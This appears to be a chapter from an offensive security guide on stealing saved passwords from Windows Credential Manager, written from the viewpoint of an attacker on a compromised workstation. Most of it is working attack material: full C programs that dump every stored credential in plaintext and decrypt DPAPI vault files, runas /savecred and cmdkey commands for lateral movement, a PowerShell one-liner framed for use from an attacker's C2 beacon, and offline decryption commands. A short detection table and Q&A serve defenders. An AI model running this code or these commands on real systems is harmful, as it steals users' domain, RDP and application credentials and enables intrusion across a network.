Windows Credential Manager Enumeration
Dumping domain credentials, RDP saved passwords, and application secrets stored in the Credential Vault using CredEnumerate/CredRead and direct vault file decryption via DPAPI
You've compromised a developer's workstation. The developer connects to multiple servers daily via RDP, uses Azure DevOps, and has SharePoint credentials saved. All of these passwords are stored in Windows Credential Manager — the built-in vault that Windows uses to save credentials for network shares, RDP sessions, web applications, and domain accounts. Running as the user, you can enumerate every saved credential, including the plaintext password, using the standard Credential Manager API. No LSASS access, no privileged calls — the API is designed to let the owning user read their own credentials.
Windows Credential Vault Architecture
Credential Type Reference
| Type Value | Name | Contains |
|---|---|---|
| 1 | CRED_TYPE_GENERIC | Application-specific credentials (RDP, Outlook, custom apps) |
| 2 | CRED_TYPE_DOMAIN_PASSWORD | Domain/network credentials (Windows Auth, file shares, intranet) |
| 3 | CRED_TYPE_DOMAIN_CERTIFICATE | Certificate-based domain auth |
| 4 | CRED_TYPE_DOMAIN_VISIBLE_PASSWORD | Plaintext password visible to user (older apps) |
| 5 | CRED_TYPE_GENERIC_CERTIFICATE | Generic certificate credentials |
| 6 | CRED_TYPE_DOMAIN_EXTENDED | Extended domain credentials (NGC, smartcard) |
Full Credential Dump via CredEnumerateW + CredReadW
#include <windows.h>
#include <wincred.h>
#include <stdio.h>
#pragma comment(lib, "advapi32.lib")
const char* CredTypeStr(DWORD t) {
switch(t) {
case CRED_TYPE_GENERIC: return "Generic";
case CRED_TYPE_DOMAIN_PASSWORD: return "DomainPassword";
case CRED_TYPE_DOMAIN_CERTIFICATE: return "DomainCertificate";
case CRED_TYPE_DOMAIN_VISIBLE_PASSWORD: return "DomainVisible";
case CRED_TYPE_GENERIC_CERTIFICATE: return "GenericCertificate";
case CRED_TYPE_DOMAIN_EXTENDED: return "DomainExtended";
default: return "Unknown";
}
}
void PrintCredential(CREDENTIALW *cred) {
wprintf(L"\n[+] Credential:\n");
wprintf(L" TargetName : %s\n", cred->TargetName ? cred->TargetName : L"(none)");
wprintf(L" UserName : %s\n", cred->UserName ? cred->UserName : L"(none)");
wprintf(L" Comment : %s\n", cred->Comment ? cred->Comment : L"(none)");
printf(" Type : %s (%lu)\n", CredTypeStr(cred->Type), cred->Type);
// The credential blob contains the password.
// For CRED_TYPE_DOMAIN_PASSWORD, CredentialBlob is a UNICODE string (not null-terminated).
// For CRED_TYPE_GENERIC, could be binary or a string depending on the app.
if (cred->CredentialBlobSize > 0 && cred->CredentialBlob) {
printf(" CredBlob : ");
if (cred->Type == CRED_TYPE_DOMAIN_PASSWORD ||
cred->Type == CRED_TYPE_GENERIC ||
cred->Type == CRED_TYPE_DOMAIN_VISIBLE_PASSWORD) {
// Print as Unicode string (blob is UTF-16LE, not null-terminated)
DWORD charCount = cred->CredentialBlobSize / sizeof(WCHAR);
wprintf(L"%.*s\n", charCount, (WCHAR*)cred->CredentialBlob);
} else {
// Print raw bytes as hex for binary blobs
for (DWORD i = 0; i < cred->CredentialBlobSize; i++)
printf("%02x", cred->CredentialBlob[i]);
printf("\n");
}
} else {
printf(" CredBlob : (empty)\n");
}
wprintf(L" LastWritten: %llu\n",
((ULONGLONG)cred->LastWritten.dwHighDateTime << 32) |
cred->LastWritten.dwLowDateTime);
}
void DumpAllCredentials() {
PCREDENTIALW *creds = NULL;
DWORD count = 0;
// Enumerate all credentials for the current user
// CredEnumerateW with filter=NULL returns all credentials
// This call transparently decrypts via DPAPI — no extra steps needed
if (!CredEnumerateW(NULL, 0, &count, &creds)) {
DWORD err = GetLastError();
if (err == ERROR_NOT_FOUND) {
printf("[-] No credentials stored in Credential Manager\n");
} else {
printf("[-] CredEnumerateW failed: %lu\n", err);
}
return;
}
printf("[*] Found %lu credentials\n", count);
for (DWORD i = 0; i < count; i++) {
PrintCredential(creds[i]);
}
CredFreeW(creds);
}
// Targeted read: read a specific credential by target name and type
BOOL ReadSpecificCredential(const WCHAR *targetName, DWORD type) {
CREDENTIALW *cred = NULL;
if (!CredReadW(targetName, type, 0, &cred)) {
printf("[-] CredReadW failed: %lu\n", GetLastError());
return FALSE;
}
PrintCredential(cred);
CredFreeW(cred);
return TRUE;
}
int wmain() {
printf("=== Credential Manager Dump ===\n");
DumpAllCredentials();
// Target specific high-value credential types
printf("\n=== Targeted: Domain Password Credentials ===\n");
PCREDENTIALW *domainCreds = NULL;
DWORD domainCount = 0;
// Filter: enumerate only CRED_TYPE_DOMAIN_PASSWORD
if (CredEnumerateW(NULL, 0, &domainCount, &domainCreds)) {
for (DWORD i = 0; i < domainCount; i++) {
if (domainCreds[i]->Type == CRED_TYPE_DOMAIN_PASSWORD) {
PrintCredential(domainCreds[i]);
}
}
CredFreeW(domainCreds);
}
return 0;
}
Vault Files on Disk — Direct Parsing
When running as a different user, impersonating another token, or examining an offline disk, you work with the raw vault files. They are encrypted DPAPI blobs. Credential Manager stores Windows Credentials (type 1 and 2) in %LOCALAPPDATA%\Microsoft\Credentials\ and Web Credentials in %LOCALAPPDATA%\Microsoft\Vault\:
cmdkey.exe LOLBin — Listing Stored Credentials
The built-in cmdkey.exe can list all stored credentials without invoking the API directly. Useful for quick reconnaissance from a shell:
# List all stored credentials (no password shown — just existence check)
cmdkey /list
# Example output:
# Target: Domain:target=server01.corp.local
# Type: Domain Password
# User: CORP\backupadmin
#
# Target: MicrosoftOffice16_Data:SSPI:outlook.office365.com
# Type: Generic
# User: jdoe@corp.com
#
# Target: LegacyGeneric:target=TERMSRV/192.168.1.50
# Type: Generic
# User: administrator
# RDP (TERMSRV) targets — valuable for lateral movement
# These are saved when a user checks "Remember my credentials" in RDP
# cmdkey /add can also ADD credentials to be used with runas or net use:
runas /savecred /user:CORP\administrator "cmd.exe"
# If credentials were saved for that account, this will run without a password prompt
# Extract via wmic (alternate LOLBin path):
wmic useraccount get name,sid # get SIDs to correlate vault files to users
# From attacker's C2 beacon — PowerShell one-liner dump:
[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]::new().RetrieveAll() | ForEach-Object { $_.RetrievePassword(); $_ } | Select UserName, Resource, Password
Manual DPAPI Decryption of Vault Blobs
For offline disk forensics or when running as a different user, decrypt vault blobs manually by extracting the DPAPI blob from the file and calling CryptUnprotectData (if running as the owning user) or by using the master key + SharpDPAPI/impacket for offline decryption:
#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#pragma comment(lib, "crypt32.lib")
// Minimal structure for a Credentials file header (approximate — varies by Windows version)
typedef struct _CRED_FILE_HEADER {
DWORD dwVersion;
DWORD dwCount;
DWORD dwFlags;
BYTE reserved[52];
// Followed by DPAPI DATA_BLOB
} CRED_FILE_HEADER;
BOOL DecryptCredentialFile(const char *filePath) {
HANDLE hFile = CreateFileA(filePath, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return FALSE;
DWORD fileSize = GetFileSize(hFile, NULL);
BYTE *buf = (BYTE*)malloc(fileSize);
DWORD read = 0;
ReadFile(hFile, buf, fileSize, &read, NULL);
CloseHandle(hFile);
// The DPAPI blob begins at offset 60 in a standard credential file
// (this offset varies — use a real parser like SharpDPAPI for production)
DWORD dpapi_offset = 60;
DATA_BLOB inBlob, outBlob;
inBlob.cbData = fileSize - dpapi_offset;
inBlob.pbData = buf + dpapi_offset;
// Running as the owning user: CryptUnprotectData handles master key lookup
if (CryptUnprotectData(&inBlob, NULL, NULL, NULL, NULL, 0, &outBlob)) {
printf("[+] Decrypted %lu bytes\n", outBlob.cbData);
// outBlob.pbData contains the serialized CREDENTIAL structure
// Parse CREDENTIAL_ATTRIBUTE structs to extract username and password
printf(" Raw bytes: ");
for (DWORD i = 0; i < min(outBlob.cbData, (DWORD)64); i++)
printf("%02x ", outBlob.pbData[i]);
printf("\n");
LocalFree(outBlob.pbData);
} else {
printf("[-] CryptUnprotectData failed: %lu\n", GetLastError());
// ERROR_INVALID_HANDLE (6) = running as wrong user / no access to master key
}
free(buf);
return TRUE;
}
// Offline decryption (different user, offline disk) — use impacket or SharpDPAPI:
// SharpDPAPI credentials /pvk:domain_backup_key.pvk
// impacket secretsdump: will decrypt DPAPI credentials if backup key is provided
// dpapi.py masterkey /target:MASTERKEY_FILE /system:SYSTEM_hive → master key
// dpapi.py credential /target:CRED_FILE /masterkey:decrypted_key → plaintext
Dumping Another User's Credentials via Token Impersonation
Detection
| Signal | Source | Fidelity |
|---|---|---|
| Process calling CredEnumerateW/CredReadW that is not a known credential-consuming app | EDR API hook / ETW | High — few processes legitimately enumerate all credentials; process name + parent chain matter |
| cmdkey /list from unexpected process parent (PowerShell, cmd spawned by office app) | Process creation (4688 / Sysmon 1) | High — cmdkey is rarely used legitimately by non-admin scripts |
| CryptUnprotectData called on files from %LOCALAPPDATA%\Microsoft\Credentials\ | EDR file access + API correlation | Medium — requires file path + API monitoring to correlate |
| WTSQueryUserToken followed by ImpersonateLoggedOnUser and CredEnumerate API sequence | EDR behavioral | High — this three-API sequence in short succession is unusual |
Q&A
What's the difference between Windows Credentials, Web Credentials, and Generic credentials in the vault?
Windows Credentials (CRED_TYPE_DOMAIN_PASSWORD) are network authentication credentials — saved when you connect to a Windows file share, an intranet site using Windows authentication, or check "Remember my credentials" on a domain login prompt. These are the highest-value targets because they often contain domain account passwords usable for lateral movement. Web Credentials (stored in the Vault under a specific GUID, typically CRED_TYPE_GENERIC with a vault target prefix) are saved by Internet Explorer and Edge for websites — HTTP Basic auth credentials and form-based auth for specific sites. Modern Chrome and Firefox use their own credential stores (covered in the DPAPI chapter for Chrome), not the Windows vault. Generic credentials (CRED_TYPE_GENERIC) are the broadest category — applications can store anything: Outlook stores Exchange credentials here, Teams stores authentication tokens, OneDrive stores refresh tokens, RDP connections appear as LegacyGeneric:target=TERMSRV/hostname. The TERMSRV entries are especially useful: they represent saved RDP credentials and can be leveraged with runas /savecred to authenticate laterally to remote machines without knowing the password explicitly.
Can Credential Guard block Credential Manager theft?
Credential Guard protects Kerberos tickets and NTLM hashes stored in LSASS memory by moving the LSA Isolated process to VTL1 (Secure Kernel). It does not protect the Credential Manager vault. The vault files on disk and the DPAPI keys protecting them remain in the VTL0 user space. Running as the owning user, CredEnumerateW will still return plaintext credentials regardless of whether Credential Guard is enabled — the DPAPI master key is derived from the user's password and is available to the user's process context, not stored in LSASS. Credential Guard's protection surface is specifically: NTLM challenge responses in memory, Kerberos service tickets, and derived credentials cached in lsasrv.dll. Disk-based credential storage (Credential Manager, Chrome Login Data, Firefox key4.db) all remain accessible to the owning user process. For defenders: the mitigations for vault theft are different from LSASS mitigations — they require monitoring CredEnumerateW API usage via EDR, not enabling Credential Guard.